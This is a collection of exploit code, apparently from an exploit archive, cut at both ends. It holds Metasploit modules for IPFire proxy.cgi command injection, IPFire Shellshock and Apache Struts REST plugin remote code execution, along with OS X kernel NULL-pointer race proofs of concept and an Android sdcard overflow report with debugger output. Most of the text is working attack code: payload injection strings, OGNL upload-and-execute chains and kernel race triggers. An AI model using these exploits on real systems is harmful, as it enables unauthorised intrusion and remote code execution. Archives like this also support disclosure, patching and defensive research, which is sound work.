          version < 2.19 Update Core 101 contains a remote command execution
          vulnerability in the proxy.cgi page.
        ),
        'Author'      =>
          [
            'h00die <mike@stcyrsecurity.com>', # module
            'Yann CAM'                         # discovery
          ],
        'References'  =>
          [
            [ 'EDB', '39765' ],
            [ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'unix',
        'Privileged'     => false,
        'DefaultOptions' => { 'SSL' => true },
        'Arch'           => [ ARCH_CMD ],
        'Payload'        =>
          {
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'perl awk openssl'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'May 04 2016'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        Opt::RPORT(444)
      ], self.class
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri'       => '/cgi-bin/pakfire.cgi',
        'method'    => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
      /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

      if version && update && version == "2.19" && update.to_i < 101
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def exploit
    begin
      # To manually view the vuln page, click to proxy.cgi.  At the bottom
      # select Local, and save. Ignore the error box, at the bottom of
      # the page click the button: User Management.

      payload_formatted = "||#{payload.encoded};#"
      post_data =  "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}"
      post_data << "&NCSA_GROUP=standard"
      post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
      post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
      post_data << "&SUBMIT=Create+user"
      post_data << "&ACTION=Add"
      post_data << "&NCSA_MIN_PASS_LEN=6"

      res = send_request_cgi(
        'uri'           => '/cgi-bin/proxy.cgi',
        'method'        => 'POST',
        'ctype'         => 'application/x-www-form-urlencoded',
        'headers'       =>
          {
            'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
          },
        'data'          => post_data
      )

      # success means we hang our session, and wont get back a response
      if res
        fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
        fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
      end

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end
            
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'          => 'IPFire Bash Environment Variable Injection (Shellshock)',
        'Description'   => %q(
          IPFire, a free linux based open source firewall distribution,
          version <= 2.15 Update Core 82 contains an authenticated remote
          command execution vulnerability via shellshock in the request headers.
        ),
        'Author'         =>
          [
            'h00die <mike@stcyrsecurity.com>', # module
            'Claudio Viviani'                  # discovery
          ],
        'References'     =>
          [
            [ 'EDB', '34839' ],
            [ 'CVE', '2014-6271']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => %w( linux unix ),
        'Privileged'     => false,
        'DefaultOptions' =>
          {
            'SSL' => true,
            'PAYLOAD' => 'cmd/unix/generic'
          },
        'Arch'           => ARCH_CMD,
        'Payload'        =>
          {
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'generic'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Sep 29 2014'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        Opt::RPORT(444)
      ], self.class
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri'       => '/cgi-bin/index.cgi',
        'method'    => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
      /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

      if version && update && version == "2.15" && update.to_i < 83
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
    %{() { :;}; /bin/bash -c "#{cmd}" }
  end

  def exploit
    begin
      payload = cve_2014_6271(datastore['CMD'])
      vprint_status("Exploiting with payload: #{payload}")
      res = send_request_cgi(
        'uri'       => '/cgi-bin/index.cgi',
        'method'    => 'GET',
        'headers'   => { 'VULN' => payload }
      )

      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
      /<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
      print_good(output) unless output.nil?

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
        Execution can be performed when using REST Plugin with ! operator when
        Dynamic Method Invocation is enabled.
      },
      'Author'         => [
        'Nixawk' # original metasploit module
       ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2016-3087' ],
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
        ],
      'Platform'      => %w{ java linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DisclosureDate' => 'Jun 01 2016',
      'DefaultTarget' => 2))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
        OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
      ], self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def get_target_platform
    target.platform.platforms.first
  end

  def temp_path
    @TMPPATH ||= lambda {
      path = datastore['TMPPATH']
      return nil unless path

      case get_target_platform
      when Msf::Module::Platform::Windows
        slash = '\\'
      when
        slash = '/'
      else
      end

      unless path.end_with?('/')
        path << '/'
      end
      return path
    }.call
  end

  def send_http_request(payload, params_hash)
    uri = normalize_uri(datastore['TARGETURI'])
    uri = "#{uri}/#{payload}"
    resp = send_request_cgi(
      'uri'     => uri,
      'version' => '1.1',
      'method'  => 'POST',
      'vars_post' => params_hash
    )
    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def generate_rce_payload(code)
    payload = ""
    payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload << ","
    payload << Rex::Text.uri_encode(code)
    payload << ","
    payload << Rex::Text.uri_encode("#xx.toString.json")
    payload << "?"
    payload << Rex::Text.uri_encode("#xx:#request.toString")
    payload
  end

  def upload_exec(cmd, filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    var_e = rand_text_alpha_lower(4)
    var_f = rand_text_alpha_lower(4)

    code =  "##{var_a}=new sun.misc.BASE64Decoder(),"
    code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
    code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
    code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
    code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
    payload = generate_rce_payload(code)

    params_hash = {
      var_d => Rex::Text.encode_base64(cmd),
      var_e => Rex::Text.encode_base64(filename),
      var_f => content
    }
    send_http_request(payload, params_hash)
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)

    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"

    payload = generate_rce_payload(code)
    params_hash = { var_b => flag }

    begin
      resp = send_http_request(payload, params_hash)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    case target['Platform']
      when 'java'
        payload_exe = "#{temp_path}#{payload_exe}.jar"
        pl_exe = payload.encoded_jar.pack
        command = "java -jar #{payload_exe}"
      when 'linux'
        path = datastore['TMPPATH'] || '/tmp/'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}"
        command = "/bin/sh -c #{payload_exe}"
      when 'win'
        path = temp_path || '.\\'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}.exe"
        command = "cmd.exe /c #{payload_exe}"
      else
        fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    pl_content = pl_exe.unpack('H*').join()

    print_status("Uploading exploit to #{payload_exe}, and executing it.")
    upload_exec(command, payload_exe, pl_content)

    handler
  end

end
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=784

The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.

We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o nv_command_queue_race nv_command_queue_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in nvCommandQueue::GetHandleIndex in GeForce.kext

The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.

We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0x100; // GetHandleData
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc() {
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("nvAccelerator", 9); //nvCommandQueue
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for (;;) {
    poc();
  }

  return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=798

Android: Stack-buffer-overflow in /system/bin/sdcard

There's an integer overflow issue in get_node_path_locked, which results in 
a buffer overflow. For all of the calling paths, this is going to overflow a 
stack buffer in the parent function:

static ssize_t get_node_path_locked(struct node* node, char* buf, size_t bufsize) {
    const char* name;
    size_t namelen;
    if (node->graft_path) {
        name = node->graft_path;
        namelen = node->graft_pathlen;
    } else if (node->actual_name) {
        name = node->actual_name;
        namelen = node->namelen;
    } else {
        name = node->name;
        namelen = node->namelen;
    }

    // when bufsize == namelen + 1
    if (bufsize < namelen + 1) {
        return -1;
    }

    ssize_t pathlen = 0;
    if (node->parent && node->graft_path == NULL) {
        // bufsize - namelen - 2 overflows to SIZE_MAX
        pathlen = get_node_path_locked(node->parent, buf, bufsize - namelen - 2);
        if (pathlen < 0) {
            return -1;
        }
        buf[pathlen++] = '/';
    }

    memcpy(buf + pathlen, name, namelen + 1); /* include trailing \0 */
    return pathlen + namelen;
}

This can be triggered by a malicious app creating a directory structure in
/sdcard with a total path length longer than PATH_MAX, which can be achieved by
creating a directory heirarchy starting with several directories with short 
names and later renaming these parent directories to have longer names. See the
attached POC, which can be run from the 'untrusted_app' selinux domain.

It appears that the overflow is close enough to the bottom of the stack that 
with a large overflow we can corrupt thread data that is used before the stack 
cookie is checked, suggesting that this issue is possibly exploitable despite 
the presence of stack cookies.

(gdb) i r
r0             0xb	11
r1             0x1	1
r2             0x41414199	1094795673
r3             0x41414141	1094795585
r4             0x80000000	2147483648
r5             0x0	0
r6             0xb6e40ec0	3068399296
r7             0xb6cbe860	3066816608
r8             0xb6e4930c	3068433164
r9             0xb6e3c594	3068380564
r10            0xbee4c9ac	3202664876
r11            0xb6943180	3063165312
r12            0xb6e3c908	3068381448
sp             0xb6cbe7a0	0xb6cbe7a0
lr             0xb6e1daad	-1226712403
pc             0xb6e06ade	0xb6e06ade <pthread_getspecific(pthread_key_t)+34>
cpsr           0x80070030	-2147024848
(gdb) x/10i $pc
=> 0xb6e06ade <pthread_getspecific(pthread_key_t)+34>:	ldr	r4, [r2, #100]	; 0x64
   0xb6e06ae0 <pthread_getspecific(pthread_key_t)+36>:	cmp	r4, r1
   0xb6e06ae2 <pthread_getspecific(pthread_key_t)+38>:	bne.n	0xb6e06aec <pthread_getspecific(pthread_key_t)+48>
   0xb6e06ae4 <pthread_getspecific(pthread_key_t)+40>:	ldr	r0, [r2, #104]	; 0x68
   0xb6e06ae6 <pthread_getspecific(pthread_key_t)+42>:	pop	{r4, pc}
   0xb6e06ae8 <pthread_getspecific(pthread_key_t)+44>:	movs	r0, #0
   0xb6e06aea <pthread_getspecific(pthread_key_t)+46>:	pop	{r4, pc}
   0xb6e06aec <pthread_getspecific(pthread_key_t)+48>:	adds	r0, #12
   0xb6e06aee <pthread_getspecific(pthread_key_t)+50>:	add.w	r12, r3, r0, lsl #3
   0xb6e06af2 <pthread_getspecific(pthread_key_t)+54>:	movs	r0, #0
(gdb) bt
#0  0xb6e06ade in pthread_getspecific (key=11) at bionic/libc/bionic/pthread_key.cpp:160
#1  0xb6e1daac in je_tsd_wrapper_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#2  je_tsd_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#3  je_tsd_fetch () at external/jemalloc/include/jemalloc/internal/tsd.h:614
#4  imalloc_body (usize=<synthetic pointer>, tsd=<synthetic pointer>, size=4) at external/jemalloc/src/jemalloc.c:1401
#5  je_malloc (size=4) at external/jemalloc/src/jemalloc.c:1423
#6  0xb6f3bb3e in handle_open (fuse=0xbee478c8, hdr=0xbee4c984, req=<optimized out>, handler=<optimized out>)
    at system/core/sdcard/sdcard.c:1193
#7  0x41414140 in ?? ()


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39921.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=783

The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)

We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o mux_control_race mux_control_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in AppleMuxControl.kext

The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)

We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 9; // getAGCData
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc() {
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("AppleMuxControl", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for (;;) {
    poc();
  }

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=782

AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
in all external methods.

We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
other of which makes any external method call.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o graphicscontrol_race graphicscontrol_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in AppleGraphicsDeviceControl

AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
in all external methods.

We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
other of which makes any external method call.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0;   /// anything :)
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc() {
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("NVDC", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for (;;) {
    poc();
  }

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=778

IOAccelerator external method IOAccelSharedUserClient2::page_off_resource uses the pointer at this+0x100 without checking if it's NULL.
A series of dereferences from this pointer lead to trivial RIP control.

We can race two threads, in one call the external method and in the other call IOServiceClose, which NULLs out the pointer at
this+0x100.

By mapping the NULL page into userspace we can control the pointer read.

tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/

//ianbeer

//clang -o ioaccel_race ioaccel_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL dereference in IOAccelSharedUserClient2::page_off_resource

IOAccelerator external method IOAccelSharedUserClient2::page_off_resource uses the pointer at this+0x100 without checking if it's NULL.
A series of dereferences from this pointer lead to trivial RIP control.

We can race two threads, in one call the external method and in the other call IOServiceClose, which NULLs out the pointer at
this+0x100.

By mapping the NULL page into userspace we can control the pointer read.

tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 2;
  inputScalarCnt = 0;
  inputStructCnt = 8; 
  outputScalarCnt = 0;
  outputStructCnt = 0;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
